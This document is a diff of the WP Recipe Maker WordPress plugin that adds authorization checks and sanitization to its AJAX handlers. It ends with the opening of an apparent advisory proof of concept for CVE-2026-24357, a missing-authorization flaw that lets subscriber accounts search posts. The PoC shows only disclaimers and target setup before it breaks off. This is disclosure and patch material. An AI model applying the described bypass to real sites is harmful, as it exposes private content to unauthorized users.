 				'posts_per_page' => 100,
 				's' => $search,
@@ -248,7 +371,7 @@

 				if ( $id > 0 ) {
 					$args = array(
-						'post_type' => 'any',
+						'post_type' => $allowed_post_types,
 						'post_status' => 'any',
 						'posts_per_page' => 100,
 						'post__in' => array( $id ),
@@ -256,19 +379,34 @@

 					$query = new WP_Query( $args );

-					$posts = array_merge( $query->posts, $posts );
+					// Merge and deduplicate by post ID.
+					$id_posts = array();
+					foreach ( $query->posts as $id_post ) {
+						$id_posts[ $id_post->ID ] = $id_post;
+					}
+					foreach ( $posts as $post ) {
+						if ( ! isset( $id_posts[ $post->ID ] ) ) {
+							$id_posts[ $post->ID ] = $post;
+						}
+					}
+					$posts = array_values( $id_posts );
 				}
 			}

 			foreach ( $posts as $post ) {
-				$ignore_post_types = array(
-					WPRM_POST_TYPE,
-					'attachment',
-				);
-				if ( in_array( $post->post_type, $ignore_post_types ) ) {
+				// Skip if we've already processed this post ID.
+				if ( isset( $seen_post_ids[ $post->ID ] ) ) {
+					continue;
+				}
+
+				// Only include posts the user can read/edit to respect WordPress access controls.
+				if ( ! current_user_can( 'read_post', $post->ID ) ) {
 					continue;
 				}

+				// Mark this post ID as seen.
+				$seen_post_ids[ $post->ID ] = true;
+
 				$found_posts[] = array(
 					'id' => $post->ID,
 					'text' => $post->post_title,
@@ -300,8 +438,26 @@
 	 */
 	public static function ajax_get_recipe() {
 		if ( check_ajax_referer( 'wprm', 'security', false ) ) {
+			// Require edit_posts capability to prevent unauthorized access.
+			if ( ! current_user_can( 'edit_posts' ) ) {
+				wp_send_json_error( array(
+					'message' => __( 'You do not have permission to perform this action.', 'wp-recipe-maker' ),
+				) );
+				wp_die();
+			}
+
 			$recipe_id = isset( $_POST['recipe_id'] ) ? intval( $_POST['recipe_id'] ) : 0; // Input var okay.

+			if ( $recipe_id > 0 ) {
+				// Only return recipe data if the user can read/edit the recipe.
+				if ( ! current_user_can( 'read_post', $recipe_id ) ) {
+					wp_send_json_error( array(
+						'message' => __( 'You do not have permission to access this recipe.', 'wp-recipe-maker' ),
+					) );
+					wp_die();
+				}
+			}
+
 			$recipe = self::get_recipe( $recipe_id );
 			$recipe_data = $recipe ? $recipe->get_data() : array();

@@ -311,6 +467,269 @@
 		}

 		wp_die();
+	}
+
+	/**
+	 * Get user's editor preference (block or classic).
+	 *
+	 * @since    1.0.0
+	 * @return   bool True if user prefers block editor, false for classic editor.
+	 */
+	private static function get_user_editor_preference() {
+		$use_block_editor = true;
+
+		if ( class_exists( 'Classic_Editor' ) ) {
+			$user_id = get_current_user_id();
+			$user_editor = get_user_meta( $user_id, 'editor', true );
+			$use_block_editor = ( 'classic' !== $user_editor );
+		}
+
+		return $use_block_editor;
+	}
+
+	/**
+	 * Determine if a post uses block editor.
+	 *
+	 * @since    1.0.0
+	 * @param    WP_Post|int $post Post object or post ID.
+	 * @return   bool True if post uses block editor, false otherwise.
+	 */
+	private static function post_uses_block_editor( $post ) {
+		if ( function_exists( 'use_block_editor_for_post' ) ) {
+			return use_block_editor_for_post( $post );
+		}
+
+		// Fallback: check meta if Classic Editor plugin is active
+		if ( class_exists( 'Classic_Editor' ) ) {
+			$post_id = is_object( $post ) ? $post->ID : absint( $post );
+			$classic_remember = get_post_meta( $post_id, 'classic-editor-remember', true );
+			return ( 'classic-editor' !== $classic_remember );
+		}
+
+		// No Classic Editor plugin, assume block editor
+		return true;
+	}
+
+	/**
+	 * Set editor preference meta for a post.
+	 *
+	 * @since    1.0.0
+	 * @param    int  $post_id Post ID.
+	 * @param    bool $use_block_editor Whether to use block editor.
+	 * @return   string Edit link with appropriate query args.
+	 */
+	private static function set_post_editor_preference( $post_id, $use_block_editor ) {
+		$edit_link = admin_url( add_query_arg( array(
+			'post' => $post_id,
+			'action' => 'edit',
+		), 'post.php' ) );
+
+		// Remove any existing editor preference
+		delete_post_meta( $post_id, 'classic-editor-remember' );
+		delete_post_meta( $post_id, '_wp_use_block_editor_for_post' );
+
+		if ( class_exists( 'Classic_Editor' ) ) {
+			if ( ! $use_block_editor ) {
+				// User prefers classic editor
+				update_post_meta( $post_id, 'classic-editor-remember', 'classic-editor' );
+			} else {
+				// User prefers block editor (or no preference, default to block)
+				update_post_meta( $post_id, '_wp_use_block_editor_for_post', true );
+				$edit_link = add_query_arg( 'classic-editor__forget', '', $edit_link );
+			}
+		} else {
+			// Classic Editor plugin not active, ensure block editor
+			update_post_meta( $post_id, '_wp_use_block_editor_for_post', true );
+		}
+
+		return $edit_link;
+	}
+
+	/**
+	 * Format recipe content for insertion into post.
+	 *
+	 * @since    1.0.0
+	 * @param    int  $recipe_id Recipe ID.
+	 * @param    bool $use_block_editor Whether to use block format.
+	 * @return   string Formatted recipe content.
+	 */
+	private static function format_recipe_content( $recipe_id, $use_block_editor ) {
+		if ( $use_block_editor ) {
+			// Use block format for block editor
+			return '<!-- wp:wp-recipe-maker/recipe {"id":' . absint( $recipe_id ) . '} /-->';
+		} else {
+			// Use shortcode for classic editor
+			return '[wprm-recipe id="' . absint( $recipe_id ) . '"]';
+		}
+	}
+
+	/**
+	 * Create a new post for a recipe.
+	 *
+	 * @since    1.0.0
+	 */
+	public static function ajax_create_post_for_recipe() {
+		if ( check_ajax_referer( 'wprm', 'security', false ) ) {
+			// Require edit_posts capability to prevent unauthorized access.
+			if ( ! current_user_can( 'edit_posts' ) ) {
+				wp_send_json_error( array(
+					'message' => __( 'You do not have permission to perform this action.', 'wp-recipe-maker' ),
+				) );
+				wp_die();
+			}
+
+			$recipe_id = isset( $_POST['recipe_id'] ) ? absint( $_POST['recipe_id'] ) : 0; // Input var okay.
+
+			if ( $recipe_id > 0 ) {
+				// Only create post if the user can read/edit the recipe.
+				if ( ! current_user_can( 'read_post', $recipe_id ) ) {
+					wp_send_json_error( array(
+						'message' => __( 'You do not have permission to access this recipe.', 'wp-recipe-maker' ),
+					) );
+					wp_die();
+				}
+
+				$recipe = self::get_recipe( $recipe_id );
+
+				if ( $recipe ) {
+					// Validate post type capabilities
+					$post_type = 'post';
+					$post_type_object = get_post_type_object( $post_type );
+
+					if ( ! $post_type_object || ! current_user_can( $post_type_object->cap->create_posts ) ) {
+						wp_send_json_error( array(
+							'message' => __( 'You do not have permission to create posts.', 'wp-recipe-maker' ),
+						) );
+						wp_die();
+					}
+
+					// Determine if post will use block editor
+					$use_block_editor = self::get_user_editor_preference();
+
+					// Format content based on editor type
+					$content = self::format_recipe_content( $recipe_id, $use_block_editor );
+
+					$post = array(
+						'post_type' => $post_type,
+						'post_status' => 'draft',
+						'post_title' => sanitize_text_field( $recipe->name() ),
+						'post_content' => $content,
+					);
+
+					$post_id = wp_insert_post( $post );
+
+					if ( is_wp_error( $post_id ) ) {
+						wp_send_json_error( array(
+							'message' => __( 'Failed to create post: ', 'wp-recipe-maker' ) . $post_id->get_error_message(),
+						) );
+						wp_die();
+					}
+
+					if ( $post_id ) {
+						// Set editor preference and get edit link
+						$edit_link = self::set_post_editor_preference( $post_id, $use_block_editor );
+
+						wp_send_json_success( array(
+							'editLink' => $edit_link,
+						) );
+					} else {
+						wp_send_json_error( array(
+							'message' => __( 'Failed to create post.', 'wp-recipe-maker' ),
+						) );
+					}
+				} else {
+					wp_send_json_error( array(
+						'message' => __( 'Recipe not found.', 'wp-recipe-maker' ),
+					) );
+				}
+			} else {
+				wp_send_json_error( array(
+					'message' => __( 'Invalid recipe ID.', 'wp-recipe-maker' ),
+				) );
+			}
+		}
+
+		wp_die();
+	}
+
+	/**
+	 * Add recipe shortcode to an existing post.
+	 *
+	 * @since    1.0.0
+	 */
+	public static function ajax_add_recipe_to_post() {
+		if ( check_ajax_referer( 'wprm', 'security', false ) ) {
+			// Require edit_posts capability to prevent unauthorized access.
+			if ( ! current_user_can( 'edit_posts' ) ) {
+				wp_send_json_error( array(
+					'message' => __( 'You do not have permission to perform this action.', 'wp-recipe-maker' ),
+				) );
+				wp_die();
+			}
+
+			$recipe_id = isset( $_POST['recipe_id'] ) ? absint( $_POST['recipe_id'] ) : 0; // Input var okay.
+			$post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0; // Input var okay.
+
+			if ( $recipe_id > 0 && $post_id > 0 ) {
+				// Only add recipe if the user can read/edit both the recipe and the post.
+				if ( ! current_user_can( 'read_post', $recipe_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
+					wp_send_json_error( array(
+						'message' => __( 'You do not have permission to perform this action.', 'wp-recipe-maker' ),
+					) );
+					wp_die();
+				}
+
+				$recipe = self::get_recipe( $recipe_id );
+				$post = get_post( $post_id );
+
+				if ( $recipe && $post ) {
+					// Determine if post uses block editor (consistent with new post creation)
+					$use_block_editor = self::post_uses_block_editor( $post );
+
+					// Format content based on editor type
+					$recipe_block = "nn" . self::format_recipe_content( $recipe_id, $use_block_editor );
+
+					// Append recipe to existing content
+					$content = $post->post_content . $recipe_block;
+
+					$updated = wp_update_post( array(
+						'ID' => $post_id,
+						'post_content' => $content,
+					) );
+
+					if ( is_wp_error( $updated ) ) {
+						wp_send_json_error( array(
+							'message' => __( 'Failed to update post: ', 'wp-recipe-maker' ) . $updated->get_error_message(),
+						) );
+						wp_die();
+					}
+
+					if ( $updated ) {
+						// Don't change editor preference for existing posts - use get_edit_post_link
+						// which respects the post's current editor preference
+						$edit_link = get_edit_post_link( $post_id, '' );
+
+						wp_send_json_success( array(
+							'editLink' => $edit_link,
+						) );
+					} else {
+						wp_send_json_error( array(
+							'message' => __( 'Failed to update post.', 'wp-recipe-maker' ),
+						) );
+					}
+				} else {
+					wp_send_json_error( array(
+						'message' => __( 'Recipe or post not found.', 'wp-recipe-maker' ),
+					) );
+				}
+			} else {
+				wp_send_json_error( array(
+					'message' => __( 'Invalid recipe ID or post ID.', 'wp-recipe-maker' ),
+				) );
+			}
+		}
+
+		wp_die();
 	}

 	/**
--- a/wp-recipe-maker/includes/public/class-wprm-recipe-sanitizer.php
+++ b/wp-recipe-maker/includes/public/class-wprm-recipe-sanitizer.php
@@ -54,6 +54,7 @@

 		// HTML fields.
 		if ( isset( $recipe['summary'] ) )	{ $sanitized_recipe['summary'] = self::sanitize_html( $recipe['summary'] ); }
+		if ( isset( $recipe['author_bio'] ) )	{ $sanitized_recipe['author_bio'] = self::sanitize_html( $recipe['author_bio'] ); }
 		if ( isset( $recipe['notes'] ) )	{ $sanitized_recipe['notes'] = self::sanitize_notes( $recipe['notes'] ); }

 		// Number fields.
@@ -206,6 +207,31 @@
 							'notes' => isset( $ingredient['notes'] ) ? self::sanitize_html( $ingredient['notes'] ) : '',
 						);

+						// Ingredient splits (using percentages).
+						if ( isset( $ingredient['splits'] ) && is_array( $ingredient['splits'] ) ) {
+							$sanitized_splits = array();
+							$total_percentage = 0;
+
+							foreach ( $ingredient['splits'] as $split ) {
+								if ( isset( $split['id'] ) && isset( $split['percentage'] ) ) {
+									$percentage = floatval( $split['percentage'] );
+									// Validate percentage is between 0 and 100
+									if ( $percentage >= 0 && $percentage <= 100 ) {
+										$sanitized_split = array(
+											'id' => intval( $split['id'] ),
+											'percentage' => $percentage,
+										);
+										$sanitized_splits[] = $sanitized_split;
+										$total_percentage += $percentage;
+									}
+								}
+							}
+							// Only add splits array if we have at least 2 splits and percentages sum to approximately 100%
+							if ( count( $sanitized_splits ) >= 2 && abs( $total_percentage - 100 ) < 0.01 ) {
+								$sanitized_ingredient['splits'] = $sanitized_splits;
+							}
+						}
+
 						// Product amount.
 						if ( isset( $ingredient['product_amount'] ) && $ingredient['product_amount'] !== '' ) {
 							$product_amount = floatval( $ingredient['product_amount'] );
@@ -307,12 +333,31 @@

 				if ( isset( $instruction_group['instructions'] ) ) {
 					foreach ( $instruction_group['instructions'] as $instruction ) {
+						// Sanitize ingredients - handle both regular UIDs (integers) and splits (strings like "1:2")
+						$sanitized_ingredients = array();
+						if ( isset( $instruction['ingredients'] ) && is_array( $instruction['ingredients'] ) ) {
+							foreach ( $instruction['ingredients'] as $ingredient ) {
+								$ingredient_str = (string) $ingredient;
+								// Check if it's a split (contains colon)
+								if ( strpos( $ingredient_str, ':' ) !== false ) {
+									// Split format: "uid:splitId" - validate and sanitize
+									$parts = explode( ':', $ingredient_str, 2 );
+									if ( count( $parts ) === 2 && is_numeric( $parts[0] ) && is_numeric( $parts[1] ) ) {
+										$sanitized_ingredients[] = intval( $parts[0] ) . ':' . intval( $parts[1] );
+									}
+								} else {
+									// Regular ingredient UID - convert to integer
+									$sanitized_ingredients[] = intval( $ingredient );
+								}
+							}
+						}
+
 						$sanitized_instruction = array(
 							'uid' => isset( $instruction['uid'] ) ? intval( $instruction['uid'] ) : -1,
 							'name' => isset( $instruction['name'] ) ? sanitize_text_field( $instruction['name'] ) : '',
 							'text' => isset( $instruction['text'] ) ? self::sanitize_html( $instruction['text'] ) : '',
 							'image' => isset( $instruction['image'] ) ? intval( $instruction['image'] ) : 0,
-							'ingredients' => isset( $instruction['ingredients'] ) ? array_map( 'intval', $instruction['ingredients'] ) : array(),
+							'ingredients' => $sanitized_ingredients,
 						);

 						if ( isset( $instruction['video'] ) ) {
--- a/wp-recipe-maker/includes/public/class-wprm-recipe-saver.php
+++ b/wp-recipe-maker/includes/public/class-wprm-recipe-saver.php
@@ -181,6 +181,7 @@
 		if ( isset( $recipe['author_display'] ) )				{ $meta['wprm_author_display'] = $recipe['author_display']; }
 		if ( isset( $recipe['author_name'] ) )					{ $meta['wprm_author_name'] = $recipe['author_name']; }
 		if ( isset( $recipe['author_link'] ) )					{ $meta['wprm_author_link'] = $recipe['author_link']; }
+		if ( isset( $recipe['author_bio'] ) )					{ $meta['wprm_author_bio'] = $recipe['author_bio']; }
 		if ( isset( $recipe['servings'] ) )						{ $meta['wprm_servings'] = $recipe['servings']; }
 		if ( isset( $recipe['servings_unit'] ) )				{ $meta['wprm_servings_unit'] = $recipe['servings_unit']; }
 		if ( isset( $recipe['servings_advanced_enabled'] ) )	{ $meta['wprm_servings_advanced_enabled'] = $recipe['servings_advanced_enabled']; }
--- a/wp-recipe-maker/includes/public/class-wprm-recipe-shell.php
+++ b/wp-recipe-maker/includes/public/class-wprm-recipe-shell.php
@@ -50,6 +50,7 @@
 			'author_display' => 'default',
 			'author_name' => 'custom' === WPRM_Settings::get( 'recipe_author_display_default' ) ? WPRM_Settings::get( 'recipe_author_custom_default' ) : '',
 			'author_link' => '',
+			'author_bio' => '',
 			'rating' => false,
 			'servings' => 0,
 			'servings_unit' => '',
@@ -162,6 +163,15 @@
 	}

 	/**
+	 * Get the recipe custom author bio.
+	 *
+	 * @since    9.6.0
+	 */
+	public function custom_author_bio() {
+		return $this->meta( 'author_bio', '' );
+	}
+
+	/**
 	 * Get the recipe image HTML.
 	 *
 	 * @since	5.2.0
--- a/wp-recipe-maker/includes/public/class-wprm-recipe.php
+++ b/wp-recipe-maker/includes/public/class-wprm-recipe.php
@@ -80,6 +80,7 @@
 		$recipe['author_display'] = $this->author_display( true );
 		$recipe['author_name'] = $this->custom_author_name();
 		$recipe['author_link'] = $this->custom_author_link();
+		$recipe['author_bio'] = $this->custom_author_bio();
 		$recipe['cost'] = $this->cost();
 		$recipe['servings'] = $this->servings();
 		$recipe['servings_unit'] = $this->servings_unit();
@@ -366,6 +367,15 @@
 	}

 	/**
+	 * Get the recipe custom author bio.
+	 *
+	 * @since    9.6.0
+	 */
+	public function custom_author_bio() {
+		return $this->meta( 'wprm_author_bio', '' );
+	}
+
+	/**
 	 * Get the recipe post author.
 	 *
 	 * @since    5.0.0
--- a/wp-recipe-maker/includes/public/class-wprm-shortcode-other.php
+++ b/wp-recipe-maker/includes/public/class-wprm-shortcode-other.php
@@ -97,7 +97,7 @@
 		}

 		$icon = sanitize_key( $atts['icon'] );
-		$value = $atts['value'];
+		$value = sanitize_text_field( $atts['value'] );
 		$unit = strtoupper( sanitize_key( $atts['unit'] ) );
 		$help = sanitize_text_field( $atts['help'] );

@@ -217,20 +217,84 @@
 		// Get recipe (defaults to current).
 		$recipe = WPRM_Template_Shortcodes::get_recipe( $atts['id'] );

-		if ( $recipe && is_numeric( $atts['uid'] ) ) {
-			$uid = intval( $atts['uid'] );
+		if ( $recipe && $atts['uid'] ) {
+			$uid_str = (string) $atts['uid'];
+			$is_split = false;
+			$parent_uid = null;
+			$split_id = null;
+			$split_percentage = null;
+
+			// Check if this is a split (format: "uid:splitId")
+			if ( strpos( $uid_str, ':' ) !== false ) {
+				$is_split = true;
+				$parts = explode( ':', $uid_str, 2 );
+				if ( count( $parts ) === 2 && is_numeric( $parts[0] ) && is_numeric( $parts[1] ) ) {
+					$parent_uid = intval( $parts[0] );
+					$split_id = intval( $parts[1] );
+				} else {
+					// Invalid split format, fall back to text
+					return $output;
+				}
+			} else if ( is_numeric( $atts['uid'] ) ) {
+				$parent_uid = intval( $atts['uid'] );
+			} else {
+				// Invalid UID format, fall back to text
+				return $output;
+			}

 			$ingredients_flat = $recipe->ingredients_flat();
-			$index = array_search( $uid, array_column( $ingredients_flat, 'uid' ) );
+			$index = array_search( $parent_uid, array_column( $ingredients_flat, 'uid' ) );

 			if ( false !== $index && isset( $ingredients_flat[ $index ] ) ) {
 				$found_ingredient = $ingredients_flat[ $index ];

 				if ( 'ingredient' === $found_ingredient['type'] ) {
+					// If this is a split, find the split and calculate amount
+					if ( $is_split ) {
+						$found_split = null;
+						if ( isset( $found_ingredient['splits'] ) && is_array( $found_ingredient['splits'] ) ) {
+							foreach ( $found_ingredient['splits'] as $split ) {
+								if ( isset( $split['id'] ) && intval( $split['id'] ) === $split_id && isset( $split['percentage'] ) ) {
+									$found_split = $split;
+									$split_percentage = floatval( $split['percentage'] );
+									break;
+								}
+							}
+						}
+
+						if ( ! $found_split ) {
+							// Split not found, fall back to text
+							return $output;
+						}
+
+						// Calculate split amount from parent amount and percentage
+						$parent_amount = isset( $found_ingredient['amount'] ) ? $found_ingredient['amount'] : '';
+						$parent_amount_parsed = WPRM_Recipe_Parser::parse_quantity( $parent_amount );
+
+						$split_amount = '';
+						if ( $parent_amount_parsed > 0 ) {
+							$split_amount_parsed = ( $parent_amount_parsed * $split_percentage ) / 100;
+
+							// Format the calculated amount
+							if ( $split_amount_parsed == floor( $split_amount_parsed ) ) {
+								$split_amount = (string) intval( $split_amount_parsed );
+							} else {
+								$split_amount = rtrim( rtrim( number_format( $split_amount_parsed, 2, '.', '' ), '0' ), '.' );
+							}
+						}
+
+						// Use parent's unit
+						$unit = isset( $found_ingredient['unit'] ) ? $found_ingredient['unit'] : '';
+					} else {
+						// Regular ingredient
+						$split_amount = isset( $found_ingredient['amount'] ) ? $found_ingredient['amount'] : '';
+						$unit = isset( $found_ingredient['unit'] ) ? $found_ingredient['unit'] : '';
+					}
+
 					$parts = array();

-					if ( $found_ingredient['amount'] ) { $parts[] = $found_ingredient['amount']; };
-					if ( $found_ingredient['unit'] ) { $parts[] = $found_ingredient['unit']; };
+					if ( $split_amount ) { $parts[] = $split_amount; };
+					if ( $unit ) { $parts[] = $unit; };

 					// Optionally add second unit system.
 					$show_both_units = 'both' === $atts['unit_conversion'];
@@ -264,9 +328,13 @@
 					$text_to_show = implode( ' ', $parts );

 					if ( $text_to_show ) {
+						// Use the full UID (including split ID) for the class
+						// Replace colon with dash in class name to avoid CSS selector issues
+						$uid_for_class = $is_split ? str_replace( ':', '-', $uid_str ) : $parent_uid;
+
 						$classes = array(
 							'wprm-inline-ingredient',
-							'wprm-inline-ingredient-' . $recipe->id() . '-' . $uid,
+							'wprm-inline-ingredient-' . $recipe->id() . '-' . $uid_for_class,
 							'wprm-block-text-' . $atts['style'],
 						);

@@ -289,8 +357,14 @@
 						if ( '' !== $atts['notes_separator'] ) {
 							$data_keep_notes = ' data-notes-separator="' . esc_attr( $atts['notes_separator'] ) . '"';
 						}
+
+						// Add split data attributes for adjustable servings
+						$split_data_attr = '';
+						if ( $is_split && $split_percentage !== null ) {
+							$split_data_attr = ' data-split-percentage="' . esc_attr( $split_percentage ) . '" data-split-id="' . esc_attr( $split_id ) . '"';
+						}

-						$output = '<span class="' . esc_attr( implode( ' ', $classes ) ) .'"' . $data_keep_notes . $style . '>' . $text_to_show . '</span>';
+						$output = '<span class="' . esc_attr( implode( ' ', $classes ) ) .'"' . $data_keep_notes . $split_data_attr . $style . '>' . $text_to_show . '</span>';
 					}
 				}
 			}
--- a/wp-recipe-maker/includes/public/shortcodes/recipe/class-wprm-sc-author-bio.php
+++ b/wp-recipe-maker/includes/public/shortcodes/recipe/class-wprm-sc-author-bio.php
@@ -81,15 +81,30 @@
 		$atts = parent::get_attributes( $atts );

 		$recipe = WPRM_Template_Shortcodes::get_recipe( $atts['id'] );
-		$author = $recipe ? $recipe->post_author() : false;
+		if ( ! $recipe ) {
+			return apply_filters( parent::get_hook(), '', $atts );
+		}

-		// Get author bio.
+		// Get author bio based on author display option.
 		$bio = false;
-		if ( $author ) {
-			$bio = get_the_author_meta( 'description', $author );
+		$author_display = $recipe->author_display();
+
+		switch ( $author_display ) {
+			case 'post_author':
+				$author = $recipe->post_author();
+				if ( $author ) {
+					$bio = get_the_author_meta( 'description', $author );
+				}
+				break;
+			case 'custom':
+				$bio = $recipe->custom_author_bio();
+				break;
+			case 'same':
+				$bio = WPRM_Settings::get( 'recipe_author_same_bio' );
+				break;
 		}

-		if ( ! $recipe || ! $bio ) {
+		if ( ! $bio ) {
 			return apply_filters( parent::get_hook(), '', $atts );
 		}

--- a/wp-recipe-maker/includes/public/shortcodes/recipe/class-wprm-sc-counter.php
+++ b/wp-recipe-maker/includes/public/shortcodes/recipe/class-wprm-sc-counter.php
@@ -87,17 +87,40 @@
 		// Check if %count% or %total% is used - replace with placeholders that will be replaced later.
 		// This ensures we count only rendered elements, not items processed by other plugins.
 		$needs_replacement = false;
-		if ( false !== stripos( $text, '%count%' ) ) {
-			$text = str_ireplace( '%count%', '<span class="wprm-recipe-counter-count">1</span>', $text );
-			$needs_replacement = true;
-		}
-		if ( false !== stripos( $text, '%total%' ) ) {
-			$text = str_ireplace( '%total%', '<span class="wprm-recipe-counter-total">1</span>', $text );
-			$needs_replacement = true;
-		}

-		if ( $needs_replacement ) {
-			$GLOBALS['wprm_recipe_counter_needs_replacement'] = true;
+		// In Gutenberg preview (backend editor), use stored block position if available.
+		if ( WPRM_Context::is_gutenberg_preview() && isset( $GLOBALS['wprm_roundup_block_position'] ) ) {
+			$block_position = intval( $GLOBALS['wprm_roundup_block_position'] );
+
+			// Ensure we have a valid position (at least 1).
+			if ( $block_position < 1 ) {
+				$block_position = 1;
+			}
+
+			// Replace %count% with the actual position in backend.
+			if ( false !== stripos( $text, '%count%' ) ) {
+				$text = str_ireplace( '%count%', $block_position, $text );
+			}
+
+			// For %total%, we still need to calculate it from the post content.
+			if ( false !== stripos( $text, '%total%' ) ) {
+				$total_count = self::get_roundup_total_count();
+				$text = str_ireplace( '%total%', $total_count, $text );
+			}
+		} else {
+			// Frontend or backend without position: use placeholder replacement that happens later via filter.
+			if ( false !== stripos( $text, '%count%' ) ) {
+				$text = str_ireplace( '%count%', '<span class="wprm-recipe-counter-count">1</span>', $text );
+				$needs_replacement = true;
+			}
+			if ( false !== stripos( $text, '%total%' ) ) {
+				$text = str_ireplace( '%total%', '<span class="wprm-recipe-counter-total">1</span>', $text );
+				$needs_replacement = true;
+			}
+
+			if ( $needs_replacement ) {
+				$GLOBALS['wprm_recipe_counter_needs_replacement'] = true;
+			}
 		}

 		if ( $atts['link'] && $recipe->permalink() ) {
@@ -115,6 +138,135 @@
 		$output = '<' . $tag . ' class="' . esc_attr( implode( ' ', $classes ) ) . '">' . $text . '</' . $tag . '>';
 		return apply_filters( parent::get_hook(), $output, $atts, $recipe );
 	}
+
+	/**
+	 * Get the total count of roundup items in the post content.
+	 * Used in backend editor to display correct total.
+	 *
+	 * @since	10.0.0
+	 * @return	int Total count of roundup items.
+	 */
+	private static function get_roundup_total_count() {
+		static $total_count_cache = null;
+
+		if ( null !== $total_count_cache ) {
+			return $total_count_cache;
+		}
+
+		$total_count = 0;
+
+		// Try to get post content from various sources.
+		$post_content = '';
+		$post_id = 0;
+
+		// Try to get from global post.
+		if ( isset( $GLOBALS['post'] ) && $GLOBALS['post'] ) {
+			$post_id = $GLOBALS['post']->ID;
+			$post_content = $GLOBALS['post']->post_content;
+		}
+
+		// Try to get from request parameters (REST API).
+		if ( empty( $post_content ) ) {
+			// Check various possible parameter names.
+			$possible_params = array( 'post_id', 'postId', 'context[postId]' );
+			foreach ( $possible_params as $param ) {
+				if ( isset( $_REQUEST[ $param ] ) ) {
+					$post_id = intval( $_REQUEST[ $param ] );
+					break;
+				}
+			}
+
+			// Also check JSON body for REST API requests.
+			if ( ! $post_id && ! empty( $_SERVER['REQUEST_METHOD'] ) && 'POST' === $_SERVER['REQUEST_METHOD'] ) {
+				$json_input = file_get_contents( 'php://input' );
+				if ( ! empty( $json_input ) ) {
+					$json_data = json_decode( $json_input, true );
+					if ( $json_data ) {
+						if ( isset( $json_data['post_id'] ) ) {
+							$post_id = intval( $json_data['post_id'] );
+						} elseif ( isset( $json_data['context']['postId'] ) ) {
+							$post_id = intval( $json_data['context']['postId'] );
+						}
+					}
+				}
+			}
+
+			if ( $post_id ) {
+				$post = get_post( $post_id );
+				if ( $post ) {
+					$post_content = $post->post_content;
+				}
+			}
+		}
+
+		// Count roundup item blocks in the content.
+		if ( ! empty( $post_content ) && function_exists( 'parse_blocks' ) ) {
+			$blocks = parse_blocks( $post_content );
+			if ( ! empty( $blocks ) ) {
+				$total_count = self::count_roundup_blocks( $blocks );
+			}
+		}
+
+		// Fallback to 1 if no items found.
+		if ( 0 === $total_count ) {
+			$total_count = 1;
+		}
+
+		$total_count_cache = $total_count;
+		return $total_count;
+	}
+
+	/**
+	 * Recursively count roundup item blocks in parsed blocks.
+	 * Also counts roundup items within list blocks.
+	 *
+	 * @since	10.0.0
+	 * @param	array $blocks Parsed block list.
+	 * @return	int Count of roundup item blocks.
+	 */
+	private static function count_roundup_blocks( $blocks ) {
+		$count = 0;
+
+		foreach ( $blocks as $block ) {
+			if ( ! is_array( $block ) ) {
+				continue;
+			}
+
+			// Check if this is a roundup item block.
+			if ( isset( $block['blockName'] ) && 'wp-recipe-maker/recipe-roundup-item' === $block['blockName'] ) {
+				$count++;
+			}
+
+			// Check if this is a list block and count roundup items within it.
+			if ( isset( $block['blockName'] ) && 'wp-recipe-maker/list' === $block['blockName'] ) {
+				$attrs = isset( $block['attrs'] ) ? $block['attrs'] : array();
+				$list_id = isset( $attrs['id'] ) ? intval( $attrs['id'] ) : 0;
+				if ( $list_id ) {
+					// Count roundup items in this list.
+					if ( class_exists( 'WPRM_List_Manager' ) ) {
+						$list = WPRM_List_Manager::get_list( $list_id );
+						if ( $list && method_exists( $list, 'items' ) ) {
+							$items = $list->items();
+							if ( is_array( $items ) ) {
+								foreach ( $items as $item ) {
+									if ( is_array( $item ) && isset( $item['type'] ) && 'roundup' === $item['type'] ) {
+										$count++;
+									}
+								}
+							}
+						}
+					}
+				}
+			}
+
+			// Recursively count inner blocks.
+			if ( ! empty( $block['innerBlocks'] ) && is_array( $block['innerBlocks'] ) ) {
+				$count += self::count_roundup_blocks( $block['innerBlocks'] );
+			}
+		}
+
+		return $count;
+	}
 }

 WPRM_SC_Counter::init();
 No newline at end of file
--- a/wp-recipe-maker/includes/public/shortcodes/recipe/class-wprm-sc-instructions.php
+++ b/wp-recipe-maker/includes/public/shortcodes/recipe/class-wprm-sc-instructions.php
@@ -1415,16 +1415,87 @@
 			$ingredients_flat = $recipe->ingredients_flat();

 			foreach ( $instruction['ingredients'] as $ingredient ) {
-				$index = array_search( $ingredient, array_column( $ingredients_flat, 'uid' ) );
+				$ingredient_str = (string) $ingredient;
+				$is_split = false;
+				$parent_uid = null;
+				$split_id = null;
+
+				// Check if this is a split (format: "uid:splitId")
+				if ( strpos( $ingredient_str, ':' ) !== false ) {
+					$is_split = true;
+					$parts = explode( ':', $ingredient_str, 2 );
+					if ( count( $parts ) === 2 && is_numeric( $parts[0] ) && is_numeric( $parts[1] ) ) {
+						$parent_uid = intval( $parts[0] );
+						$split_id = intval( $parts[1] );
+					} else {
+						// Invalid split format, skip
+						continue;
+					}
+				} else {
+					// Regular ingredient UID
+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24357 - Recipe Maker <= 10.2.4 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-24357
 * WP Recipe Maker <= 10.2.4 Missing Authorization Vulnerability
 * 
 * This script demonstrates how an authenticated Subscriber-level user
 * can exploit the missing capability check to search recipes and posts.
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber';  // Subscriber account credentials
$password = 'password';
